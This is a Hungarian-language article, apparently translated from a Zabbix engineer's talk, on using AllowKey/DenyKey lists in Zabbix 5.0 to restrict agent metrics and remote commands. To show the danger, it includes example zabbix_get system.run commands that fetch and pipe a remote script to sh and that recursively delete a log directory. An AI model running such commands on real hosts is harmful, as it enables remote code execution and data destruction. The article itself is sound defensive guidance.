Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz

Tikhon Uskov, integrációs mérnök, Zabbix

Adatbiztonsági kérdések

A Zabbix 5.0 új funkcióval rendelkezik, amely lehetővé teszi a Zabbix Agent használatával a rendszerek biztonságának javítását, és lecseréli a régi paramétert EnableRemoteCommands.

Az ügynök alapú rendszerek biztonságának javulása abból fakad, hogy egy ügynök nagyszámú potenciálisan veszélyes műveletet tud végrehajtani.

  • Az ügynök szinte bármilyen információt gyűjthet, beleértve a bizalmas vagy potenciálisan veszélyes információkat is, konfigurációs fájlokból, naplófájlokból, jelszófájlokból vagy bármilyen más fájlból.

Például a zabbix_get segédprogrammal hozzáférhet a felhasználók listájához, saját könyvtáraikhoz, jelszófájlokhoz stb.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Adatok elérése a zabbix_get segédprogrammal

Megjegyzés. Az adatok csak akkor kérhetők le, ha az ügynök olvasási jogosultsággal rendelkezik a megfelelő fájlhoz. De például a fájl /etc/passwd/ minden felhasználó számára olvasható.

  • Az ügynök potenciálisan veszélyes parancsokat is végrehajthat. Például: *system.run[]** lehetővé teszi bármilyen távoli parancs végrehajtását a hálózati csomópontokon, beleértve a szkriptek futtatását a Zabbix webes felületéről, amelyek parancsokat is végrehajtanak az ügynök oldalon.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxon az ügynök alapértelmezés szerint root jogosultságok nélkül fut, míg Windowson rendszerként szolgáltatásként fut, és korlátlan hozzáféréssel rendelkezik a fájlrendszerhez. Ennek megfelelően, ha a telepítés után nem történik változás a Zabbix Agent paramétereiben, az ügynök hozzáfér a nyilvántartáshoz, a fájlrendszerhez, és végrehajthat WMI-lekérdezéseket.

A korábbi verziókban a paraméter EnableRemoteCommands=0 csak a metrikák letiltása a * kulccsal engedélyezettsystem.run[]** és szkriptek futtatása a webes felületről, de nem lehetett korlátozni az egyes fájlokhoz való hozzáférést, engedélyezni vagy letiltani az ügynökkel együtt telepített egyedi kulcsokat, vagy korlátozni az egyes paraméterek használatát.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Az EnableRemoteCommand paraméter használata a Zabbix korábbi verzióiban

AllowKey/DenyKey

A Zabbix 5.0 segít megvédeni az ilyen jogosulatlan hozzáférést azáltal, hogy engedélyező- és tiltólistákat biztosít az ügynökoldali metrikák engedélyezéséhez és megtagadásához.

A Zabbix 5.0-ban minden kulcs, beleértve a *system.run[]** engedélyezve vannak, és két új ügynökkonfigurációs lehetőség került hozzáadásra:

AllowKey= – engedélyezett ellenőrzések;

DenyKey= – tiltott ellenőrzések;

ahol egy kulcsnév-minta paraméterekkel, amely metakaraktereket (*) használ.

Az AllowKey és a DenyKey kulcsok lehetővé teszik az egyes mutatók engedélyezését vagy letiltását egy adott minta alapján. Más konfigurációs paraméterekkel ellentétben az AllowKey/DenyKey paraméterek száma nincs korlátozva. Ez lehetővé teszi, hogy egyértelműen meghatározza, mit tehet pontosan az ügynök a rendszerben azáltal, hogy létrehoz egy ellenőrzési fát - végrehajtható kulcsokat, ahol az írási sorrend nagyon fontos szerepet játszik.

A szabályok sorrendje

A szabályok ellenőrzése abban a sorrendben történik, ahogyan bekerültek a konfigurációs fájlba. A kulcs az első egyezés előtt a szabályok szerint ellenőrzésre kerül, és amint az adatelem kulcsa megegyezik a mintával, engedélyezve vagy megtagadva. Ezt követően a szabályellenőrzés leáll, és a fennmaradó kulcsokat figyelmen kívül hagyja.

Ezért, ha egy elem egy engedélyezési és megtagadási szabálynak is megfelel, az eredmény attól függ, hogy melyik szabály található először a konfigurációs fájlban.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

2 különböző szabály ugyanazzal a mintával és egy kulccsal vfs.file.size[/tmp/file]

Az AllowKey/DenyKey billentyűk használatának sorrendje:

  1. pontos szabályok,
  2. Általános szabályok,
  3. tiltó szabály.

Például, ha egy bizonyos mappában lévő fájlokhoz szeretne hozzáférni, először engedélyeznie kell a hozzáférést azokhoz, majd meg kell tagadnia minden mást, ami nem esik a megállapított engedélyek körébe. Ha először a tiltó szabályt alkalmazza, a mappához való hozzáférés meg lesz tagadva.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Helyes sorrend

Ha engedélyeznie kell 2 segédprogram futtatását a *system.run[]**, és először a megtagadási szabály kerül megadásra, a segédprogramok nem indulnak el, mert az első minta mindig bármelyik kulcshoz fog illeszkedni, és a következő szabályok figyelmen kívül maradnak.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Helytelen sorrend

Minták

Alapvető szabályok

A minta helyettesítő karaktereket tartalmazó kifejezés. A metakarakter (*) egy adott helyen tetszőleges számú karakterhez egyezik. A metakarakterek mind a kulcsnévben, mind a paraméterekben használhatók. Például szigorúan meghatározhatja az első paramétert szöveggel, és adja meg a következőt helyettesítő karakterként.

A paramétereket szögletes zárójelben [] kell tenni.

  • system.run[* - rossz
  • vfs.file*.txt] - rossz
  • vfs.file.*[*] - jobb

Példák a helyettesítő karakter használatára.

  1. A kulcsnévben és a paraméterben. Ebben az esetben a kulcs nem felel meg egy hasonló, paramétert nem tartalmazó kulcsnak, mivel a mintában jeleztük, hogy a kulcsnév egy bizonyos végét és egy bizonyos paraméterkészletet szeretnénk kapni.
  2. Ha a minta nem használ szögletes zárójeleket, a minta engedélyezi az összes olyan billentyűt, amely nem tartalmaz paramétereket, és letilt minden olyan billentyűt, amely tartalmazza a megadott paramétert.
  3. Ha a kulcsot teljes egészében írjuk be, és a paramétereket helyettesítő karakterként adjuk meg, akkor bármely hasonló kulcshoz illeszkedik bármilyen paraméterrel, és nem fog megegyezni a szögletes zárójel nélküli kulcsokkal, azaz engedélyezve vagy megtagadva lesz.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

A paraméterek kitöltésének szabályai.

  • Ha paraméterekkel rendelkező kulcsot kíván használni, akkor a paramétereket meg kell adni a konfigurációs fájlban. A paramétereket metakarakterként kell megadni. Gondosan meg kell tagadni a hozzáférést minden fájlhoz, és figyelembe kell venni, hogy a metrika milyen információkat tud nyújtani különböző írásmódok esetén - paraméterekkel és anélkül.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

A billentyűk paraméterekkel történő írásának jellemzői

  • Ha egy kulcs paraméterekkel van megadva, de a paraméterek nem kötelezőek és metakarakterként vannak megadva, akkor a paraméterek nélküli kulcsot a rendszer feloldja. Például, ha szeretné letiltani a CPU terhelésével kapcsolatos információk fogadását, és megadja, hogy a system.cpu.load[*] kulcsot le kell tiltani, ne felejtse el, hogy a paraméterek nélküli kulcs az átlagos terhelési értéket adja vissza.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

A paraméterek kitöltésének szabályai

Megjegyzések

beállítás

  • Néhány szabályt a felhasználó nem módosíthat, például a felderítési szabályokat vagy az ügynök automatikus regisztrációs szabályait. Az AllowKey/DenyKey szabályok nem befolyásolják a következő paramétereket:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

Megjegyzés. Ha egy rendszergazda letilt egy kulcsot, akkor a Zabbix nem ad információt arról, hogy a mérőszám vagy kulcs miért esik a " kategóriábaNEM TÁMOGATOTT'. A távoli parancsok végrehajtására vonatkozó tilalmakra vonatkozó információk szintén nem jelennek meg az ügynöknaplófájlban. Ez biztonsági okokból történt, de megnehezítheti a hibakeresést, ha a mutatók valamilyen okból nem támogatott kategóriába esnek..

  • Ne hagyatkozzon semmilyen konkrét sorrendre a külső konfigurációs fájlok csatlakoztatásakor (például ábécé sorrendben).

Parancssori segédprogramok

A szabályok beállítása után meg kell győződnie arról, hogy minden megfelelően van konfigurálva.

Három lehetőség közül választhat:

  • Adjon hozzá egy mutatót a Zabbixhez.
  • Teszteld vele zabbix_agentd. Zabbix ügynök opcióval -nyomtatás (-p) megjeleníti az összes kulcsot (amelyek alapértelmezés szerint engedélyezettek), kivéve azokat, amelyeket a konfiguráció nem engedélyez. És az opcióval -teszt (-t) mert a tiltott kulcs visszajönNem támogatott elemkulcs".
  • Teszteld vele zabbix_get. Hasznosság zabbix_get opcióval -k vissza fog térni 'ZBX_NOTSUPPORTED: Ismeretlen mérőszám".

Engedélyezés vagy elutasítás

Megtagadhatja a hozzáférést egy fájlhoz, és ellenőrizheti például a segédprogram segítségével zabbix_gethogy a fájlhoz való hozzáférés megtagadva.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

**

Megjegyzés. A paraméterben szereplő idézeteket figyelmen kívül hagyja.

Ebben az esetben egy ilyen fájlhoz való hozzáférés más elérési úton is engedélyezhető. Például ha egy szimbolikus hivatkozás vezet rá.

Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz a Zabbix 5.0-ban

Javasoljuk, hogy ellenőrizze a meghatározott szabályok alkalmazásának különböző lehetőségeit, és vegye figyelembe a tilalmak megkerülésének lehetőségeit is.

Kérdések és válaszok

Kérdés. Miért választottak egy ilyen összetett mintát a saját nyelvével a szabályok, engedélyek és tilalmak leírására? Miért nem lehetett használni például a Zabbix által használt reguláris kifejezéseket?

Válasz. Ez egy reguláris kifejezési teljesítményprobléma, mivel általában csak egy ügynök van, és rengeteg mérőszámot ellenőriz. A Regex meglehetősen nehéz művelet, és így nem tudunk több ezer mérőszámot ellenőrizni. Helyettesítő karakterek - univerzális, széles körben használt és egyszerű megoldás.

Kérdés. Az Include fájlok nincsenek ábécé sorrendben?

Válasz. Amennyire én tudom, gyakorlatilag lehetetlen megjósolni a szabályok alkalmazási sorrendjét, ha a szabályokat szétosztja a különböző fájlok között. Azt javaslom, hogy az összes AllowKey/DenyKey szabályt egyetlen Include fájlba gyűjtsd össze, mert kölcsönhatásba lépnek egymással, és belefoglalják ezt a fájlt is..

Kérdés. A Zabbix 5.0-ban a „EnableRemoteCommands=' hiányzik a konfigurációs fájlból, és csak az AllowKey/DenyKey érhető el?

Válasz. igen ez így van.

Спасибо за внимание!

Forrás: will.com

Hozzászólás